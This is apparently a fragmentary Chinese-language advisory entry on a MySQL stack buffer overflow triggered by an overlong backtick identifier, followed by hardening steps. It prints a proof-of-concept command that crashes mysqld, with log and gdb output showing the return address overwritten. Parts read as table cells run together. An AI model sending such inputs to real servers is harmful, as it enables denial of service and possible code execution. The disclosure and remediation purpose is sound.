SELECT 緩衝區溢位mysqld Segmentation Fault (crash),攻擊者取得 mysqld 執行權限 (通常為 mysql 用戶)# 終端 1:啟動 mysqld
/sbin/init.d/mysql start
# 終端 2:發送惡意查詢
mysql -p -e "SELECT a.\`perl -e 'print \"A\"x130'\`.b"
# 結果:mysqld 崩潰,錯誤日誌顯示
safe_mysqld: line 149: 15557 Segmentation fault
# gdb 顯示 eip = 0x41414141 ('AAAA'),確認 EIP 被覆寫
解析器處理反引號識別碼時,未檢查長度直接複製到固定大小堆疊緩衝區 (128/256 bytes),導致堆疊溢位覆蓋返回地址 (EIP)。
SELECT 權限 (但影響業務)。mysql 系統庫與所有使用者資料庫。CHANGES 文件確認相容性變更 (如預設 SQL_MODE、字元集)。mysql_upgrade 修正系統表結構。mysql.user 弱密碼、匿名帳號、Host='%' 高權限帳號。validate_password 強制密碼複雜度。FILE/PROCESS/SHUTDOWN 權限。